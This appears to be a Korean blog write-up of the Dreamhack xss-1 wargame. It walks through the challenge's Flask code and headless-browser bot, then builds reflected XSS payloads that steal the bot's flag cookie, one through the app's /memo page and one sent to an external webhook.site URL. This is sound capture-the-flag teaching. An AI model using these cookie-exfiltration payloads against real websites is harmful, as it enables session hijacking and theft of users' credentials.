https://dreamhack.io/wargame/challenges/28/?writeup_id=6329
xss문제다!!
초기화면이다. 3개의 페이지가 보인다. 하나씩 확인해보자.
param이라는 매개변수가 있다는 걸 확인할 수 있다. 이것의 인수로 <script>alert(1)</script>가 전달되는데 이것이 그대로 실행되는 것이 눈에 띈다. 이를 이용하면 익스플로잇할 수 있을 것같다.
memo페이지다. 이번엔 memo가 보인다. 이것의 인수로 hello가 전달되고 이를 출력하고 있다.
아까 확인했던 /vuln페이지의 인수를 적어낼 수 있다. 이어서 코드를 확인해보자.
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
/flag 페이지의 코드다. 우리가 적어내는 것은 param변수에 대입된다. 이 param 변수와 flag를 포함한 딕셔너리가 check_xss함수로 전달된다. 그렇다면 check_xss 코드를 살펴보자.
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
우리가 적어낸 param변수가 /vuln의 param매개변수의 인수로 전달되고 이것이 url에 대입돼서 read_url로 cookie와 함께 간다.
그럼 read_url함수를 살펴보자
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
길게 써져 있지만 우리가 신경써서 봐야할 것은 간단하다.
driver.add_cookie(cookie)
driver.get(url)
아까 flag가 담긴 딕셔너리 cookie가 쿠키로 추가된다는 명령어,
우리가 적어낸 param을 /vuln에서 실행시키게 하는 명령어.
이를 다시 재해석해 보면 param에 명령어로 쿠키를 확인할 수 있다면 플래그를 얻을 수 있다는 것이다.
/memo페이지의 매개변수를 그대로 출력하는 것을 이용하면 확인할 수 있을 것 같다. 그럼 param에 넣을 코드를 짜보자.
<script>location.href='/memo?memo='+document.cookie</script>
아까 <script>alert(1)</script>이 되는 것을 확인했으니 이를 활용하여 location.href로 익스플로잇 코드를 짜봤다.
memo페이지로 가보자.
짜잔
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
만약 memo 페이지가 없다면 어떻게 익스플로잇 할 수 있을까?
webhook을 이용하여 플래그를 얻어보자.
<script>location.href='https://webhook.site/~~~~~~~~~~~~~~~?flag='+document.cookie</script>
나는 webhook.site를 이용하여 파라미터를 받았다. 코드를 해석해보자면 아까 만든 익스플로잇 코드와 같이 script를 이용하여 location.href 사용한다. 아까와 차이점이 있다면 /memo 페이지가 memo변수의 값을 출력하는 특성이 있어야만 가능했다. 하지만 webhook사이트를 이용하면 인수의 값을 webhook사이트를 통해 확인할 수 있다.
짜잔
'웹 해킹 > 드림핵' 카테고리의 다른 글
[드림핵]csrf-1 풀이 (0) | 2023.03.11 |
---|---|
[드림핵]xss-2 풀이 (0) | 2023.03.11 |
[드림핵] cookie 풀이 (1) | 2023.03.10 |
[드림핵] session-basic 풀이 (0) | 2023.03.09 |
[드림핵] devtools-sources 풀이 (0) | 2023.03.09 |